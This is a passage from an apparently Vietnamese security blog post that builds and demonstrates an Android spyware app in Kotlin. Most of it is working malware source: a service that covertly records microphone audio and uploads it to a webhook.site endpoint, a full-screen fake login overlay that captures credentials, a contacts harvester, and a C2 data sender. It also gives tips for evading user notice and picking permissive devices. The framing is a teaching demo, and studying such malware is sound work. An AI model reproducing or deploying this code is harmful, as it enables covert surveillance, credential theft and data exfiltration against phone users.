SimpleDateFormat("yyyyMMdd_HHmmss", Locale.US).format(Date()) outputFile = File(outputDir, "audio_$timeStamp.3gp") recorder = MediaRecorder().apply { setAudioSource(MediaRecorder.AudioSource.MIC) setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP) setOutputFile(outputFile.absolutePath) setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB) prepare() start() } Log.d("MalwareSim", "Recording started: ${outputFile.name}") Thread { Thread.sleep(30000) recorder?.stop() recorder?.release() recorder = null exfiltrateAudio(outputFile) stopSelf() }.start() } catch (e: Exception) { Log.e("MalwareSim", "Error in recording: ${e.message}") } } private fun exfiltrateAudio(file: File) { CoroutineScope(Dispatchers.IO).launch { try { val url = URL("https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac") val conn = url.openConnection() as HttpURLConnection conn.requestMethod = "POST" conn.doOutput = true conn.setRequestProperty("Content-Type", "application/octet-stream") conn.setRequestProperty("File-Name", file.name) file.inputStream().use { input -> conn.outputStream.use { output -> input.copyTo(output) } } val response = conn.inputStream.bufferedReader().readText() Log.d("MalwareSim", "Audio exfiltrated: $response") conn.disconnect() } catch (e: Exception) { Log.e("MalwareSim", "Exfiltration failed: ${e.message}") } } } override fun onBind(intent: Intent?): IBinder? = null } ``` **Giải thích:** ```kotlin= class AudioRecordService : Service() { private var recorder: MediaRecorder? = null private lateinit var outputFile: File override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { startForegroundServiceCompat() startRecording() return START_NOT_STICKY } ``` - `recorder`: đối tượng MediaRecorder dùng thu âm. - `outputFile`: file đầu ra lưu bản ghi. `onStartCommand(...)` - Gọi `startForegroundServiceCompat()` để tạo notification và gọi `startForeground(...)`. - Gọi `startRecording()` để bắt đầu quá trình ghi âm và exfil. - Trả về `START_NOT_STICKY` — service sẽ không tự khởi động lại nếu hệ thống kill. ```kotlin= private fun startForegroundServiceCompat() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { val channelId = "covert_audio" val channel = NotificationChannel( channelId, "Background Audio Recording", NotificationManager.IMPORTANCE_LOW // hiện thị thông báo ít gây chú ý nhất ) val manager = getSystemService(NotificationManager::class.java) manager.createNotificationChannel(channel) val notification: Notification = NotificationCompat.Builder(this, channelId) .setContentTitle("Audio Service") .setContentText("Recording in background...") .setSmallIcon(android.R.drawable.ic_btn_speak_now) .setPriority(NotificationCompat.PRIORITY_LOW) .build() startForeground(1337, notification) } } ``` Hàm này tạo một notification channel và một thông báo mức độ thấp (low importance), sau đó đưa service vào trạng thái foreground, giúp nó tiếp tục chạy nền mà không bị Android kill. ```kotlin= private fun startForegroundServiceCompat() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { ``` Kiểm tra phiên bản Android - Từ Android 8.0 (API 26) trở lên, mọi foreground service bắt buộc phải tạo Notification Channel. - Do đó, hàm chỉ chạy đoạn code bên trong khi OS ≥ Oreo. ```kotlin= val channelId = "covert_audio" val channel = NotificationChannel( channelId, "Background Audio Recording", NotificationManager.IMPORTANCE_LOW ) ``` Tạo NotificationChannel - `channelId`: ID duy nhất của kênh. - `"Background Audio Recording"`: Tên hiển thị của kênh. - `IMPORTANCE_LOW`: - Thông báo xuất hiện nhưng không gây chú ý, - Không rung, không âm thanh, - Không pop-up giúp giảm khả năng người dùng nhận ra app đang ghi âm. ```kotlin= val manager = getSystemService(NotificationManager::class.java) manager.createNotificationChannel(channel) ``` Đăng ký channel với hệ thống - Lấy NotificationManager từ hệ thống Android. - `createNotificationChannel(...)` tạo kênh nếu chưa có. ```kotlin= val notification: Notification = NotificationCompat.Builder(this, channelId) .setContentTitle("Audio Service") .setContentText("Recording in background...") .setSmallIcon(android.R.drawable.ic_btn_speak_now) .setPriority(NotificationCompat.PRIORITY_LOW) .build() ``` Xây dựng notification - Dùng` NotificationCompat.Builder `với channelId vừa tạo. - Title: `"Audio Service"` - Text:` "Recording in background..."` - Icon mặc định của Android: `ic_btn_speak_now` → biểu tượng micro. - `PRIORITY_LOW`: - Không làm phiền người dùng. - Hạn chế bị chú ý. Mục đích: thông báo hợp lệ nhưng mờ nhạt nhất có thể. ```kotlin= startForeground(1337, notification) ``` Kích hoạt Foreground Service thật sự - ID thông báo là 1337 (một magic number quen thuộc trong hacking "leet"). Sau khi gọi lệnh này: - Service trở thành foreground service hợp lệ, - Được ưu tiên cao, ít bị hệ thống kill, - Có thể chạy ghi âm 30s (hoặc lâu hơn) mà không bị dừng. #### OverlayService.kt **OverlayService.kt** là một Android Service chạy nền, có nhiệm vụ hiển thị một giao diện đè lên toàn bộ màn hình, giống như những mẫu malware Android sử dụng kỹ thuật overlay phishing để giả mạo giao diện đăng nhập của các ứng dụng hợp pháp (Facebook, ngân hàng, Gmail…). **Code** ```kotlin= package com.example.malware import android.app.Service import android.content.Intent import android.graphics.PixelFormat import android.os.Build import android.os.IBinder import android.view.LayoutInflater import android.view.WindowManager import android.widget.Button import android.widget.EditText import android.widget.Toast class OverlayService : Service() { private lateinit var windowManager: WindowManager private var overlayView: android.view.View? = null override fun onCreate() { super.onCreate() if (if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { !android.provider.Settings.canDrawOverlays(this) } else { TODO("VERSION.SDK_INT < M") } ) { stopSelf() // tránh crash return } windowManager = getSystemService(WINDOW_SERVICE) as WindowManager val inflater = LayoutInflater.from(this) overlayView = inflater.inflate(R.layout.overlay_login, null) val params = WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH, PixelFormat.TRANSLUCENT ) windowManager.addView(overlayView, params) overlayView?.findViewById<Button>(R.id.fake_login_button)?.setOnClickListener { val username = overlayView?.findViewById<EditText>(R.id.fake_username)?.text.toString() val password = overlayView?.findViewById<EditText>(R.id.fake_password)?.text.toString() Toast.makeText(this, "Captured: $username / $password", Toast.LENGTH_SHORT).show() stopSelf() // cierra la superposición } } override fun onDestroy() { super.onDestroy() overlayView?.let { windowManager.removeView(it) } } override fun onBind(intent: Intent?): IBinder? = null } ``` **Giải thích** ```kotlin= if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { !Settings.canDrawOverlays(this) } ``` - Thực hiện kiểm tra quyền `SYSTEM_ALERT_WINDOW` - `SYSTEM_ALERT_WINDOW `(draw over other apps) là quyền nguy hiểm, cho phép ứng dụng vẽ cửa sổ nổi trên mọi ứng dụng khác. - Nếu quyền chưa có thì service tự` stopSelf()` để tránh crash. ```kotlin= windowManager = getSystemService(WINDOW_SERVICE) as WindowManager ``` Tạo WindowManager để hiển thị giao diện: - Tạo cửa sổ nổi - Đè lên bất kỳ ứng dụng nào - Bắt input của người dùng (ở bản mã này dùng full-screen overlay) ```kotlin= overlayView = inflater.inflate(R.layout.overlay_login, null) ``` - Inflate layout overlay_login.xml ```kotlin= val params = WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, TYPE_APPLICATION_OVERLAY, FLAG_WATCH_OUTSIDE_TOUCH, PixelFormat.TRANSLUCENT ) ``` - `MATCH_PARENT và MATCH_PARENT`:Fullscreen overlay làm che toàn bộ app gốc để người dùng không nghi ngờ. - `TYPE_APPLICATION_OVERLAY`: Xác định cửa sổ là một lớp phủ được hiển thị trên các ứng dụng khác. - `FLAG_NOT_FOCUSABLE`: Ngăn chặn (blocks) các sự kiện chạm hoặc nhấn phím được chuyển đến các ứng dụng nằm dưới lớp phủ này. - `PixelFormat.TRANSLUCENT`: Cho phép lớp phủ có độ bán trong suốt (semi-transparent). ```kotlin= windowManager.addView(overlayView, params) ``` Hiển thị overlay lên màn hình ```kotlin= overlayView?.findViewById<Button>(R.id.fake_login_button)?.setOnClickListener { val username = overlayView?.findViewById<EditText>(R.id.fake_username)?.text.toString() val password = overlayView?.findViewById<EditText>(R.id.fake_password)?.text.toString() Toast.makeText(this, "Captured: $username / $password", Toast.LENGTH_SHORT).show() stopSelf() // cierra la superposición } ``` Xử lý nút đăng nhập giả: - Lấy text từ EditText username/password - Hiện tạm thời qua Toast (vì demo) - Dừng service → overlay biến mất → dễ che giấu #### overlay_login.xml File **overlay_login.xml** định nghĩa giao diện người dùng (UI) được sử dụng cho cuộc Tấn công Lớp phủ (Overlay Attack). Mục tiêu của nó là giả mạo (impersonate) các giao diện đăng nhập đáng tin cậy để thu thập thông tin xác thực của người dùng. **Testing and Deployment Notes:** - Điều kiện Tiên quyết: Đòi hỏi người dùng phải cấp rõ ràng quyền `SYSTEM_ALERT_WINDOW`. - Hạn chế: Lớp phủ chiếm toàn bộ màn hình, điều này có thể bị hạn chế hoặc gây ra cảnh báo rõ ràng trên các phiên bản Android mới hơn (Ví dụ: Android 12+). - Môi trường Tối ưu: Đạt được kết quả tốt nhất trên các file APK được tải ngoài (sideloaded APKs) hoặc các thiết bị có chính sách lớp phủ lỏng lẻo (relaxed overlay policies). ```xml= <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/fake_overlay_root" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#88000000" android:orientation="vertical" android:gravity="center" android:padding="24dp"> <EditText android:id="@+id/fake_username" android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="Username" android:inputType="text" /> <EditText android:id="@+id/fake_password" android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="Password" android:inputType="textPassword" /> <Button android:id="@+id/fake_login_button" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Login" /> </LinearLayout> ``` Layout sử dụng bố cục tuyến tính (`LinearLayout`) chiếm toàn màn hình, được định nghĩa trong file `overlay_login.xml`. 1. Cấu hình Vỏ bọc (Shell Configuration) ```xml= <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/fake_overlay_root" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#88000000" android:orientation="vertical" android:gravity="center" android:padding="24dp"> ``` - Đảm bảo lớp phủ chiếm toàn bộ chiều rộng và chiều dài màn hình. - Thiết lập nền tối bán trong suốt (semi-transparent dark background). - Đặt các trường nhập liệu chính giữa màn hình. 2. Trường Thu thập Thông tin Xác thực (Credential Collection Fields) ```xml= <EditText android:id="@+id/fake_username" android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="Username" android:inputType="text" /> <EditText android:id="@+id/fake_password" android:layout_width="match_parent" android:layout_height="wrap_content" android:hint="Password" android:inputType="textPassword" /> <Button android:id="@+id/fake_login_button" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Login" /> ``` **Username Field** - Được cấu hình để nhập văn bản - Bao gồm một trình giữ chỗ chung (“Tên người dùng”) - Dành cho việc mô phỏng nhiều lời nhắc đăng nhập **Password Field** - Sử dụng kiểu nhập textPassword để che giấu thông tin người dùng nhập vào. - Trông giống hệt với các trường mật khẩu tiêu chuẩn trong các ứng dụng hợp pháp. Các thành phần này dễ dàng được tùy chỉnh để giả mạo nhiều giao diện đăng nhập khác nhau, giúp chúng linh hoạt trong việc mô phỏng lừa đảo. **Submission Button** - Cung cấp nút hành động cơ bản có nhãn "Đăng nhập" - Được thiết kế để kích hoạt logic thu thập thông tin xác thực trong dịch vụ liên quan - Có thể mở rộng để mô phỏng độ trễ đăng nhập hoặc hành vi phản hồi #### ContactsCollector.kt **ContactsCollector** là một lớp chuyên dùng để truy xuất toàn bộ danh bạ của thiết bị Android, bao gồm: - Tên hiển thị (DISPLAY_NAME) - Số điện thoại (NUMBER) - Loại số (MOBILE, HOME, WORK…) - Contact ID - Và trả về toàn bộ dưới dạng JSONArray để dễ gửi về C2 server **Code** ```kotlin= package com.example.malware import android.content.Context import android.database.Cursor import android.provider.ContactsContract import android.util.Log import org.json.JSONArray import org.json.JSONObject class ContactsCollector(private val context: Context) { /** * Collect all contacts with basic information * Requires READ_CONTACTS permission */ fun collectBasicContacts(): JSONArray { val contactsArray = JSONArray() val projection = arrayOf( ContactsContract.CommonDataKinds.Phone.CONTACT_ID, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.CommonDataKinds.Phone.TYPE ) try { val cursor: Cursor? = context.contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, projection, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC" ) cursor?.use { c -> while (c.moveToNext()) { val contact = JSONObject().apply { put("contact_id", c.getString(0) ?: "") put("name", c.getString(1) ?: "") put("phone_number", c.getString(2) ?: "") put("phone_type", getPhoneTypeString(c.getInt(3))) } contactsArray.put(contact) } } } catch (e: SecurityException) { // Handle permission denial } return contactsArray } private fun getPhoneTypeString(dataType: Int): String { return when (dataType) { ContactsContract.CommonDataKinds.Phone.TYPE_HOME -> "Home" ContactsContract.CommonDataKinds.Phone.TYPE_WORK -> "Work" ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE -> "Mobile" else -> "Other" } } } ``` **Giải thích** ```kotlin= class ContactsCollector(private val context: Context) ``` - `class ContactsCollector(private val context: Context)`: Context dùng để truy cập: contentResolver, tài nguyên hệ thống, quyền `READ_CONTACTS` ```kotlin= fun collectBasicContacts(): JSONArray { val contactsArray = JSONArray() val projection = arrayOf( ContactsContract.CommonDataKinds.Phone.CONTACT_ID, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.CommonDataKinds.Phone.TYPE ) try { val cursor: Cursor? = context.contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, projection, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC" ) cursor?.use { c -> while (c.moveToNext()) { val contact = JSONObject().apply { put("contact_id", c.getString(0) ?: "") put("name", c.getString(1) ?: "") put("phone_number", c.getString(2) ?: "") put("phone_type", getPhoneTypeString(c.getInt(3))) } contactsArray.put(contact) } } } catch (e: SecurityException) { // Handle permission denial } return contactsArray } ``` `collectBasicContacts()` là hàm thu thập danh bạ chính, query vào ContactsContract để lấy dữ liệu danh bạ của nạn nhân. Tạo mảng JSON để chứa toàn bộ danh bạ (dạng dễ gửi về server). ```kotlin= val projection = arrayOf( CONTACT_ID, DISPLAY_NAME, NUMBER, TYPE ) ``` - Biến được khởi tạo projection để chỉ định các trường cần lấy ```kotlin= val cursor = context.contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, projection, null, null, DISPLAY_NAME + " ASC" ) ``` - Query tới Content Provider của danh bạ - `CONTENT_URI`: bảng chứa danh sách tất cả số điện thoại - Sắp xếp theo tên (ASC) ```kotlin== try { val cursor: Cursor? = context.contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, projection, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC" ) cursor?.use { c -> while (c.moveToNext()) { val contact = JSONObject().apply { put("contact_id", c.getString(0) ?: "") put("name", c.getString(1) ?: "") put("phone_number", c.getString(2) ?: "") put("phone_type", getPhoneTypeString(c.getInt(3))) } contactsArray.put(contact) } } } catch (e: SecurityException) { // Handle permission denial } ``` Duyệt cursor và xây dựng JSON: - Duyệt từng dòng trong database danh bạ - Với mỗi contact → tạo một JSON object - Thêm vào JSONArray → chuẩn bị gửi ra server hoặc lưu trữ Xử lý lỗi khi không có quyền - nếu người dùng từ chối quyền `READ_CONTACTS` → tránh crash ```kotlin= private fun getPhoneTypeString(dataType: Int): String { return when (dataType) { TYPE_HOME -> "Home" TYPE_WORK -> "Work" TYPE_MOBILE -> "Mobile" else -> "Other" } } ``` Hàm convert phone type râ string format: giúp chuẩn hóa dữ liệu → dễ phân tích khi gửi ra server. #### HTTPDataSender.kt **HTTPDataSender.kt** được thiết kế để gửi dữ liệu JSON từ thiết bị Android về máy chủ điều khiển (C&C server). Đây là thành phần quan trọng trong mô hình Command & Control của malware, cho phép ứng dụng: - Exfiltrate dữ liệu nhạy cảm (contacts, audio logs, device info...) - Báo cáo trạng thái hoạt động - Nhận phản hồi từ máy chủ (nếu C2 hỗ trợ) Hệ thống sử dụng OkHttp – một HTTP client hiệu năng cao, thường dùng trong các ứng dụng Android nhưng cũng phổ biến trong các implant ẩn danh vì tính ổn định và dễ tùy chỉnh. **Code** ```kotlin= package com.example.malware import okhttp3.Call import okhttp3.Callback import okhttp3.MediaType.Companion.toMediaType import okhttp3.OkHttpClient import okhttp3.Request import okhttp3.RequestBody.Companion.toRequestBody import okhttp3.Response import org.json.JSONObject import java.io.IOException import java.util.concurrent.TimeUnit interface DataSendCallback { fun onSuccess(response: String) fun onFailure(errorMessage: String) } class HTTPDataSender { private val httpClient: OkHttpClient by lazy { OkHttpClient.Builder() .connectTimeout(30L, TimeUnit.SECONDS) .writeTimeout(30L, TimeUnit.SECONDS) .readTimeout(30L, TimeUnit.SECONDS) .build() } /** * Send JSON data to remote C&C server */ fun sendJSONData(url: String, jsonData: JSONObject, callback: DataSendCallback?) { val mediaType = "application/json; charset=utf-8".toMediaType() val requestBody = jsonData.toString().toRequestBody(mediaType) val request = Request.Builder() .url(url) .post(requestBody) .addHeader("Content-Type", "application/json") .addHeader("User-Agent", "Android-App/1.0") .addHeader("X-Timestamp", System.currentTimeMillis().toString()) .build() httpClient.newCall(request).enqueue(object : Callback { override fun onResponse(call: Call, response: Response) { response.use { if (it.isSuccessful) { callback?.onSuccess(it.body?.string() ?: "") } else { callback?.onFailure("HTTP error: ${it.code}") } } } override fun onFailure(call: Call, e: IOException) { callback?.onFailure("Network error: ${e.message}") } }) } } ``` **Giải thích** Cấu hình HTTP Client Đoạn mã tạo ra một OkHttpClient với timeout cao (30 giây), phù hợp cho các tác vụ exfiltration tốn thời gian: ```kotlin= OkHttpClient.Builder() .connectTimeout(30L, TimeUnit.SECONDS) .writeTimeout(30L, TimeUnit.SECONDS) .readTimeout(30L, TimeUnit.SECONDS) ``` Thiết lập này giúp: - Hạn chế rớt kết nối khi mạng yếu. - Đảm bảo dữ liệu luôn được gửi thành công. Xây dựng yêu cầu HTTP POST 1. Xây dựng yêu cầu HTTP POST Tạo request body: ```kotlin= val requestBody = jsonData.toString().toRequestBody(mediaType) ``` Chuyển JSON thành chuỗi và bọc vào request body. 2. Cấu trúc request: ```kotlin= Request.Builder() .url(url) .post(requestBody) .addHeader("Content-Type", "application/json") .addHeader("User-Agent", "Android-App/1.0") .addHeader("X-Timestamp", System.currentTimeMillis().toString()) ``` Các header mô phỏng ứng dụng hợp pháp: - User-Agent giả dạng app Android phổ biến. - X-Timestamp giúp server đối chiếu thời gian, cũng có thể dùng để chống replay. 3. Gửi yêu cầu bất đồng bộ: ```kotlin= httpClient.newCall(request).enqueue(...) ``` Sử dụng callback để xử lý kết quả mà không chặn UI. Xử lý phản hồi từ máy chủ (Callback) - Lớp sử dụng interface DataSendCallback để trả thông tin về caller: - `onSuccess(response: String)` Gọi khi server phản hồi mã 200 OK. Response body được chuyển sang chuỗi. - `onFailure(errorMessage: String)` Gọi khi: - Server trả về lỗi HTTP (400–500) - Thiết bị mất mạng - Timeout - Request bị huỷ Ví dụ xử lý lỗi: ```kotlin= callback?.onFailure("Network error: ${e.message}") ``` Thiết kế tách biệt này cho phép: - Dễ mở rộng sang các tác vụ khác (upload file, nhận lệnh từ C2…) ### DEMO MALWARE **Contact ban đầu:** ![image](https://hackmd.io/_uploads/HyhWXFAl-l.png) **Thực hiện chạy chương trình** ![image](https://hackmd.io/_uploads/H1aVg9CxZe.png) Đoạn mã là thực hiện Overlay Attack, cho phép triển khai một lớp giao diện giả (overlay_login.xml) phủ lên trên màn hình của những ứng dụng hợp lệ. Kết quả như ảnh bên dưới ![image](https://hackmd.io/_uploads/SJKtXtClbx.png) ![image](https://hackmd.io/_uploads/BkwU0F0e-e.png) Đoạn mã Kotlin thực hiện chức năng collectContactsWithNewClass(): Thu thập Danh bạ: Ứng dụng gọi `ContactsCollector(this).collectBasicContacts()` để quét và lấy toàn bộ danh bạ (tên và số điện thoại) từ thiết bị. Việc này yêu cầu quyền `android.permission.READ_CONTACTS`. Dữ liệu được tổ chức thành một JSONArray. Đóng gói Dữ liệu: Một đối tượng JSONObject được tạo, gắn nhãn "type": "contacts_dump" và chứa danh bạ trong trường "data". Trích xuất và gửi: Dữ liệu JSON này được gửi đi bằng phương thức dataSender.sendJSONData(). URL đích (C2): "https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac". Đây là điểm cuối (endpoint) được kẻ tấn công sử dụng để nhận dữ liệu đánh cắp. Ghi Log: quá trình gửi thành công, Logcat sẽ ghi Contacts exfil success. ![image](https://hackmd.io/_uploads/HJc3mtAxWe.png) ![image](https://hackmd.io/_uploads/Hk4le9AeWl.png) ![image](https://hackmd.io/_uploads/rkaIBHWW-l.png) Hàm sendC2Beacon() thực hiện gửi các dữ liệu về thông tin máy dưới dạng JSON về máy chủ C2 cụ thể trong demo này là ta sử dụng webhook có thể thay thế webhook bằng cách sử dụng API của tele hoặc discord, khi khởi chạy chương trình thì lập tức sẽ gửi kết quả về như ảnh bên dưới. ![image](https://hackmd.io/_uploads/SysRQK0gWx.png) ![image](https://hackmd.io/_uploads/SJWLz9Al-e.png) Hàm startAudioRecordingService() có nhiệm vụ kích hoạt tiến trình ghi âm nền, được triển khai dưới dạng Foreground Service, cho phép ứng dụng độc hại thu âm giọng nói của người dùng ngay cả khi ứng dụng không còn ở giao diện chính. Ứng dụng độc hại đã thành công trong việc ghi lại môi trường xung quanh người dùng và trích xuất file âm thanh dưới dạng nội dung thô đến máy chủ C2. ![image](https://hackmd.io/_uploads/SkwyNKReZe.png)